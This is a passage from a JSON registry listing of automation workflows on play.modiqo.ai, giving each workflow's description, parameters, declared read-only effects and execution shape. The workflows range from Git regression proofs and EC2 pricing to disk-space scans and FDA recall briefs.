true."},{"name":"github_repo","type":"string","required":false,"default":"","description":"Optional GitHub repository name override. Normally inferred locally from an origin remote when github_enrichment is true."}],"execution":{"adapters":[{"id":"agastya/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cd2ff9c4c0148972b7c7bbe13ae105a64f9e4a30ec798b4d5fda801f2d1e239c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"github","steps":2,"methods":["repos/get-commit","repos/list-pull-requests-associated-with-commit"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1081,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"agastya/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1081},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/agastya/regression-proof@0.2.0","reference":"agastya/regression-proof@0.2.0","uri":"https://play.modiqo.ai/agastya/regression-proof@0.2.0","manifest_uri":"https://play.modiqo.ai/agastya/regression-proof@0.2.0","name":"regression-proof","title":"regression-proof","description":"Proves a reproducible Git regression in an isolated clone and worktree, with optional read-only GitHub provenance enrichment.","owner":{"kind":"user","slug":"agastya"},"registry_organization":"agastya","tags":["git","regression","bisect","evidence","github","typescript"],"primary_domain":"domain-uncategorized","author":"agastya","version":"0.2.0","published_at":"2026-09-03T16:24:38.974542+00:00","visibility":"public","quality_score":0.875,"size_bytes":7294,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["culprit_sha","github_commit","regression_proof","github_repo_value","github_owner_value","github_pull_requests"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the target Git working tree; it is only read to create an isolated clone."},{"name":"good_ref","type":"string","required":true,"description":"A known healthy Git revision. Run from the target repository."},{"name":"bad_ref","type":"string","required":true,"description":"A known failing Git revision, such as HEAD."},{"name":"test_command","type":"string","required":true,"description":"Command that exits zero when healthy and nonzero when failing."},{"name":"setup_command","type":"string","required":false,"default":"","description":"Optional preparation command run before each test attempt."},{"name":"repeat_count","type":"string","required":false,"default":"2","description":"Number of endpoint and boundary test repetitions."},{"name":"timeout","type":"string","required":false,"default":"60","description":"Per-command timeout in seconds."},{"name":"github_enrichment","type":"boolean","required":false,"default":false,"description":"When true, enrich a proven culprit with read-only GitHub commit and pull-request provenance. Leave false for non-GitHub repositories."},{"name":"github_owner","type":"string","required":false,"default":"","description":"Optional GitHub owner override. Normally inferred locally from an origin remote when github_enrichment is true."},{"name":"github_repo","type":"string","required":false,"default":"","description":"Optional GitHub repository name override. Normally inferred locally from an origin remote when github_enrichment is true."}],"execution":{"adapters":[{"id":"agastya/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2506c3904a00b377ec822c6f2e94acdffcc59fc27e750e466053a58249bd23b3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"github","steps":2,"methods":["repos/get-commit","repos/list-pull-requests-associated-with-commit"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1081,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"agastya/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1081},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/shreyas/deadline-reconcile@0.1.0","reference":"shreyas/deadline-reconcile@0.1.0","uri":"https://play.modiqo.ai/shreyas/deadline-reconcile@0.1.0","manifest_uri":"https://play.modiqo.ai/shreyas/deadline-reconcile@0.1.0","name":"deadline-reconcile","title":"deadline-reconcile","description":"Cross-source deadline reconciliation across local task, github, and calendar JSON sources, detecting conflicts, drift, overdue/upcoming items, missing work blocks, and source disagreement.","owner":{"kind":"user","slug":"shreyas"},"registry_organization":"shreyas","tags":["deadlines","reconciliation","read-only","calendar","tasks","github"],"primary_domain":"domain-uncategorized","author":"Shreuas2020","version":"0.1.0","published_at":"2026-09-03T14:00:03.581277+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":11312,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["reconcile"]},"parameters":[{"name":"input","type":"string","required":true,"description":"Workspace-relative path to a JSON request file describing sources and settings."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b560b826c43667841dc0804be8e807c8ae356453577e15c60881be4654cf2803","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ashutoshd/find-cheapest-instance-for-workload@0.1.0","reference":"ashutoshd/find-cheapest-instance-for-workload@0.1.0","uri":"https://play.modiqo.ai/ashutoshd/find-cheapest-instance-for-workload@0.1.0","manifest_uri":"https://play.modiqo.ai/ashutoshd/find-cheapest-instance-for-workload@0.1.0","name":"find-cheapest-instance-for-workload","title":"find-cheapest-instance-for-workload","description":"Give it a CPU and memory shape and it names the cheapest EC2 instance type that actually fits, with the full pricing ladder underneath: on-demand, spot with its published interruption band, and one and three year reserved. Kubernetes quantities are parsed properly, so 1500m is 1.5 vCPU and 4Gi is 4 GiB while 4G is 3.73 GiB, which is the arithmetic that produces confidently wrong dollars when a tool gets it casually wrong. Point it at a manifest or a rendered chart and it sums the resources.requests it finds instead. Every candidate reports stranded capacity, the vCPU and memory you pay for and cannot use, so a memory-shaped workload is never handed a compute-family box just because the hourly rate looked lower. A burstable type is flagged rather than silently recommended, because its vCPU is credit-metered and throttles under sustained load, and the cheapest sustained-throughput alternative is priced beside it. It also reports pool depth: how many instance types in that region satisfy the requirement at all. That number matters more than the price, because a node pool whose requirements admit three types is exhausted long before the region is. Excluded from every figure and said so plainly: EBS volumes, data transfer, control plane, load balancers and NAT. Public rate cards only, read-only, no cloud account, no credentials, no kubeconfig, nothing written.","owner":{"kind":"user","slug":"ashutoshd"},"registry_organization":"ashutoshd","tags":["domain-cloud-cost","cloud-cost-operations","job-instance-sizing","tool-aws","tool-kubernetes","audience-sre","effect-read-only"],"primary_domain":"domain-cloud-cost","author":"ashutoshd","version":"0.1.0","published_at":"2026-09-03T12:12:13.348319+00:00","visibility":"public","quality_score":1,"size_bytes":11286,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["fit_and_rank","fetch_pricing","parse_requirement"]},"parameters":[{"name":"cpu","type":"string","required":false,"default":"2","description":"vCPU required. Accepts Kubernetes millicores such as 1500m.","example":"1500m"},{"name":"memory","type":"string","required":false,"default":"4Gi","description":"Memory required. Gi and Mi are binary, G and M are decimal, a bare number is bytes.","example":"8Gi"},{"name":"region","type":"string","required":false,"default":"us-east-1","description":"AWS region whose public rate card is priced","example":"eu-west-1"},{"name":"manifest","type":"string","required":false,"default":"","description":"Optional path to a manifest or rendered chart whose resources.requests are summed instead","example":"./deployment.yaml"},{"name":"arch","type":"string","required":false,"default":"any","description":"Restrict the answer to an architecture","values":["any","x86","arm"],"example":"arm"},{"name":"replicas","type":"string","required":false,"default":"1","description":"Multiply the requirement by this replica count before fitting","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c2ff996a444c2cd9982eb7fa85c4128b45238be3d3e67c524fe25e0852d41ebc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ashutoshd/find-reclaimable-disk-space@0.1.0","reference":"ashutoshd/find-reclaimable-disk-space@0.1.0","uri":"https://play.modiqo.ai/ashutoshd/find-reclaimable-disk-space@0.1.0","manifest_uri":"https://play.modiqo.ai/ashutoshd/find-reclaimable-disk-space@0.1.0","name":"find-reclaimable-disk-space","title":"find-reclaimable-disk-space","description":"How many gigabytes of regenerable build output is this machine carrying, and which projects stopped needing it. Walks your home directory for the artifact directories that a build can recreate from source: node_modules, .venv, target, .next, dist, build, __pycache__, .gradle, .terraform, Pods, DerivedData. Each one is sized and then dated by the last commit in the git repository that owns it, so the answer separates the 900 MB belonging to a project you shipped last week from the 900 MB belonging to one you abandoned in January. A nested node_modules is counted once with its parent rather than four hundred times, which is the difference between a right number and a noisy one. Shared caches such as ~/.cargo, ~/go/pkg, ~/.npm and ~/Library are deliberately excluded and named in the output, because deleting those slows every project instead of one. A directory whose repository cannot be dated is reported UNKNOWN, never guessed and never called safe. The cleanup commands are printed as text: this play executes nothing, deletes nothing and writes nothing. Reads the filesystem and git only, makes no network call, carries no credential, and takes no required arguments.","owner":{"kind":"user","slug":"ashutoshd"},"registry_organization":"ashutoshd","tags":["domain-developer-machine","developer-machine-operations","job-disk-reclamation","tool-filesystem","audience-developers","effect-read-only"],"primary_domain":"domain-developer-machine","author":"ashutoshd","version":"0.1.0","published_at":"2026-09-03T12:12:09.645705+00:00","visibility":"public","quality_score":1,"size_bytes":9774,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["date_projects","scan_artifacts","rank_reclaimable"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Directory to walk. A literal dot means this machine's home directory.","example":"."},{"name":"max_depth","type":"string","required":false,"default":"7","description":"How many directory levels below root to descend before stopping","example":"5"},{"name":"min_size_mb","type":"string","required":false,"default":"50","description":"Smallest directory size listed as an individual row, in megabytes","example":"100"},{"name":"cold_days","type":"string","required":false,"default":"30","description":"A project with no commit in this many days is reported COLD","example":"90"},{"name":"time_budget_seconds","type":"string","required":false,"default":"20","description":"Hard walking budget. If it is hit, partial coverage is stated rather than hidden.","example":"45"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6ffa5946fd48ab7876737861e0ce8e83f7a959aef734db59e65b925e3aa4e215","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/steja01/fda-drug-recall-label-brief@0.1.0","reference":"steja01/fda-drug-recall-label-brief@0.1.0","uri":"https://play.modiqo.ai/steja01/fda-drug-recall-label-brief@0.1.0","manifest_uri":"https://play.modiqo.ai/steja01/fda-drug-recall-label-brief@0.1.0","name":"fda-drug-recall-label-brief","title":"fda-drug-recall-label-brief","description":"Given a drug name (brand or generic) and an optional since-date, looks up FDA recall/enforcement reports and label record updates via the public openFDA API and produces a cited brief with source links. Read-only, no credentials; reports record metadata only, never a clinical or safety-signal claim.","owner":{"kind":"user","slug":"steja01"},"registry_organization":"steja01","tags":["pharma","healthcare","fda","regulatory","drug-safety"],"primary_domain":"domain-uncategorized","author":"steja01","version":"0.1.0","published_at":"2026-09-03T11:22:52.063322+00:00","visibility":"public","quality_score":0.875,"size_bytes":6452,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["fetch_labels","fetch_recalls"]},"parameters":[{"name":"drug_name","type":"string","required":true,"description":"Brand or generic drug name to look up, e.g. 'ibuprofen' or 'Advil'"},{"name":"since","type":"string","required":false,"default":"20000101","description":"Only include records dated/effective on or after this date (YYYYMMDD). Default includes essentially all available records."},{"name":"limit","type":"string","required":false,"default":"5","description":"Max records to return per section (recalls, labels)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f1ac4e27bfe746982beeb2460d7432c3c478104a203957bdb0e9e06ba87635ef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/askme/revenue-leak-detector@0.1.0","reference":"askme/revenue-leak-detector@0.1.0","uri":"https://play.modiqo.ai/askme/revenue-leak-detector@0.1.0","manifest_uri":"https://play.modiqo.ai/askme/revenue-leak-detector@0.1.0","name":"revenue-leak-detector","title":"revenue-leak-detector","description":"Audits a website for performance issues, calculates revenue loss, generates an AI fix strategy, and sends a dashboard to Slack/Telegram.","owner":{"kind":"user","slug":"askme"},"registry_organization":"askme","tags":[],"primary_domain":"domain-uncategorized","author":"askme","version":"0.1.0","published_at":"2026-09-03T09:25:59.198217+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6247,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"url_or_path","type":"string","required":true,"description":"URL or directory to scan"},{"name":"visitors","type":"string","required":false,"default":"10000","description":"Monthly visitors"},{"name":"order_value","type":"string","required":false,"default":"50","description":"Average order value"},{"name":"api_key","type":"string","required":false,"default":"","description":"OpenAI API Key for Foglamp Strategy"},{"name":"slack_webhook","type":"string","required":false,"default":"","description":"Slack Webhook URL to send the dashboard link to"},{"name":"telegram_bot_token","type":"string","required":false,"default":"","description":"Telegram Bot Token"},{"name":"telegram_chat_id","type":"string","required":false,"default":"","description":"Telegram Chat ID"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:94a848713dab12c5d182fed85cf41236c3bb18fbde6a72c5bec8f645baff5b03","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/askme/pr-purgatory-sweeper@0.1.0","reference":"askme/pr-purgatory-sweeper@0.1.0","uri":"https://play.modiqo.ai/askme/pr-purgatory-sweeper@0.1.0","manifest_uri":"https://play.modiqo.ai/askme/pr-purgatory-sweeper@0.1.0","name":"pr-purgatory-sweeper","title":"pr-purgatory-sweeper","description":"Cross-system daily scanner: finds stuck PRs, uses AI to summarize the blast radius, and posts a targeted Slack/Telegram digest.","owner":{"kind":"user","slug":"askme"},"registry_organization":"askme","tags":[],"primary_domain":"domain-uncategorized","author":"askme","version":"0.1.0","published_at":"2026-09-03T09:25:05.429167+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3821,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"repo","type":"string","required":true,"description":"GitHub repository (e.g. 'owner/repo')"},{"name":"days_stale","type":"string","required":false,"default":"2","description":"Number of days before a PR is considered stuck"},{"name":"github_token","type":"string","required":false,"default":"","description":"Optional GitHub token (or sets GITHUB_TOKEN)"},{"name":"api_key","type":"string","required":false,"default":"","description":"OpenAI API Key for LLM summarization"},{"name":"slack_webhook","type":"string","required":false,"default":"","description":"Optional Slack webhook URL for daily broadcast"},{"name":"telegram_token","type":"string","required":false,"default":"","description":"Optional Telegram bot token"},{"name":"telegram_chat_id","type":"string","required":false,"default":"","description":"Optional Telegram chat ID"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ceb94cfb9e8f5287858029168fef7d16987ace4022060369995d33eb756ebc0d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/chiru/what-did-i-leave-unfinished@0.1.0","reference":"chiru/what-did-i-leave-unfinished@0.1.0","uri":"https://play.modiqo.ai/chiru/what-did-i-leave-unfinished@0.1.0","manifest_uri":"https://play.modiqo.ai/chiru/what-did-i-leave-unfinished@0.1.0","name":"what-did-i-leave-unfinished","title":"what-did-i-leave-unfinished","description":"The unfinished work sitting in your notes, sorted by how long it has been sitting. Reads your markdown and text files, pulls out unchecked checkboxes and the TODO and FIXME markers you left yourself, and leads with the files you stopped editing weeks ago rather than the one you touched this morning. A note you edited today is open, not forgotten; the whole point is the other kind. It counts what it ticked off too, so a file with nine of ten boxes done reads differently from one with none. Skips fenced code blocks, because a TODO in a snippet is usually an example rather than your task. Reconciles its own counts before it reports and says so if they disagree, and a walk that hit its own bounds is never allowed to report all clear. Reads your files and writes nothing, makes no network call, needs no credential, and runs on python3 alone.","owner":{"kind":"user","slug":"chiru"},"registry_organization":"chiru","tags":["domain-notes","job-unfinished-work-sweep","audience-everyone","effect-read-only"],"primary_domain":"domain-notes","author":"chiru","version":"0.1.0","published_at":"2026-09-03T08:59:25.34999+00:00","visibility":"public","quality_score":1,"size_bytes":31502,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["rank","report","verify","extract","discover"]},"parameters":[{"name":"roots","type":"string","required":false,"default":"~/Documents","description":"Comma-separated folders holding your notes. Point it at wherever you actually write, whether that is a vault, a repo of markdown, or a Desktop folder.","example":"~/notes,~/Desktop"},{"name":"stale_days","type":"string","required":false,"default":"7","description":"How many days untouched before a file counts as stale and gets pulled to the top. Lower it for a tighter loop, raise it for a monthly clear-out. This is the value that changes between runs.","example":"30"},{"name":"include_markers","type":"string","required":false,"default":"true","description":"Count TODO, FIXME, XXX, HACK and WIP markers as unfinished work alongside unchecked boxes. Turn it off to see checkboxes alone.","values":["true","false"],"example":"false"},{"name":"show_items","type":"string","required":false,"default":"true","description":"Print the individual unfinished lines under each file. Turn it off for a count-only sweep across a large vault.","values":["true","false"],"example":"false"},{"name":"max_depth","type":"string","required":false,"default":"5","description":"How deep to walk below each root. The bound is reported rather than applied quietly, so a truncated sweep can never report all clear.","example":"8"},{"name":"max_files","type":"string","required":false,"default":"400","description":"Most files to read in one sweep. Hitting it is reported, never silent.","example":"1200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8ece7060eb7b8a698777b07445cf6be0907c82f8324305207bbbebbcdab05ec8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/viswesh/tempo-session@0.1.1","reference":"viswesh/tempo-session@0.1.1","uri":"https://play.modiqo.ai/viswesh/tempo-session@0.1.1","manifest_uri":"https://play.modiqo.ai/viswesh/tempo-session@0.1.1","name":"tempo-session","title":"tempo-session","description":"Schedules unpredictable, bounded breaks and reward moments (stretches, meditation, music, social/web) during 1–2 hour focus sessions.","owner":{"kind":"user","slug":"viswesh"},"registry_organization":"viswesh","tags":["breaks-for-work-session","work-session","breaks","rewards","productivity","focus-and-habits","pomodoro","tempo","schedule-breaks"],"primary_domain":"domain-uncategorized","author":"Code Bot","version":"0.1.1","published_at":"2026-09-03T08:15:43.594768+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3897,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["schedule_computation"]},"parameters":[{"name":"duration","type":"string","required":false,"default":"2h","description":"Total session duration (e.g. 2h, 90m, 45m)"},{"name":"min_work","type":"string","required":false,"default":"20m","description":"Minimum work period before first activity"},{"name":"max_activities","type":"number","required":false,"default":3,"description":"Maximum number of break/reward opportunities"},{"name":"trigger_now","type":"string","required":false,"default":"","description":"Optional activity name to trigger immediately (e.g. Instagram, Stretch, or first)"},{"name":"config_path","type":"string","required":false,"default":"","description":"Optional path to custom activity pool JSON file"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6ae6e1de0ea0f46681eb1ba294a3b11dcb8e6838719beb44f1db3c84cd612c0f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1},{"name":"instagram.com","kind":"host","source":"inferred","count":1},{"name":"youtube.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/whintyr/assess-github-ml-benchmark-claims@0.0.1","reference":"whintyr/assess-github-ml-benchmark-claims@0.0.1","uri":"https://play.modiqo.ai/whintyr/assess-github-ml-benchmark-claims@0.0.1","manifest_uri":"https://play.modiqo.ai/whintyr/assess-github-ml-benchmark-claims@0.0.1","name":"assess-github-ml-benchmark-claims","title":"assess-github-ml-benchmark-claims","description":"Assess benchmark claims in a public ML repository against README and implementation evidence.","owner":{"kind":"user","slug":"whintyr"},"registry_organization":"whintyr","tags":["typescript","github"],"primary_domain":"domain-uncategorized","author":"whintyr","version":"0.0.1","published_at":"2026-09-03T02:44:56.2996+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2203,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["fetch_readme","fetch_evidence"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"Public GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"Public GitHub repository name"},{"name":"evidence_path","type":"string","required":false,"default":"README.md","description":"Repository file containing benchmark evidence"}],"execution":{"adapters":[{"id":"whintyr/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:417094184e4818134f88a5999dc8c644d834e87b56ca97f7f6c222f6ec643f0e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":2,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["repos/get-content","repos/get-readme"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1127,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"whintyr/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1127},"cost":{"api_tokens":36828,"context_tokens":3825,"exploration_ms":2048,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/riyamustare/build-tracker@1.0.2","reference":"riyamustare/build-tracker@1.0.2","uri":"https://play.modiqo.ai/riyamustare/build-tracker@1.0.2","manifest_uri":"https://play.modiqo.ai/riyamustare/build-tracker@1.0.2","name":"build-tracker","title":"build-tracker","description":"Instruments analytics either from a PRD (deriving events from its described user flow) or directly from a codebase with no PRD (scanning for untracked user actions and bootstrapping a baseline convention). Flags ambiguities and judgment calls instead of guessing.","owner":{"kind":"user","slug":"riyamustare"},"registry_organization":"riyamustare","tags":["analytics","instrumentation","prd","events","tracking","product"],"primary_domain":"domain-uncategorized","author":"riyamustare","version":"1.0.2","published_at":"2026-09-03T02:17:50.954582+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5726,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["validate_prd"]},"parameters":[{"name":"prd_path","type":"string","required":false,"default":"","description":"Path to the PRD markdown file (relative to project root or absolute). Leave empty to scan the codebase instead."},{"name":"project_root","type":"string","required":false,"default":".","description":"Root directory to scan for untracked user actions when no PRD is given"},{"name":"analytics_events_path","type":"string","required":false,"default":"src/analytics/events.js","description":"Path to the central analytics events module that defines the naming convention"},{"name":"pattern_feature_path","type":"string","required":false,"default":"src/features/auth/signup.js","description":"Path to an already-instrumented feature file that shows the track() pattern to match"},{"name":"target_feature_paths","type":"string","required":false,"default":"","description":"Comma-separated feature files to wire tracking into; leave empty to infer from the PRD and codebase"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:34d3201705117d1b711286c12f1f06fc2d621483420f5e2493577799a37374d9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/srinjoy356/playoffs_pulse@0.1.0","reference":"srinjoy356/playoffs_pulse@0.1.0","uri":"https://play.modiqo.ai/srinjoy356/playoffs_pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/srinjoy356/playoffs_pulse@0.1.0","name":"playoffs_pulse","title":"playoffs_pulse","description":"","owner":{"kind":"user","slug":"srinjoy356"},"registry_organization":"srinjoy356","tags":[],"primary_domain":"domain-uncategorized","author":"srinjoy356","version":"0.1.0","published_at":"2026-09-02T22:36:42.202954+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":1402,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["fetch_and_sort"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"